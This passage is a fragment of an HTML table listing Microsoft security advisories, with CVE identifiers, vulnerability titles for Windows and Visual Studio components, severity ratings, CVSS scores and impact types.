  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
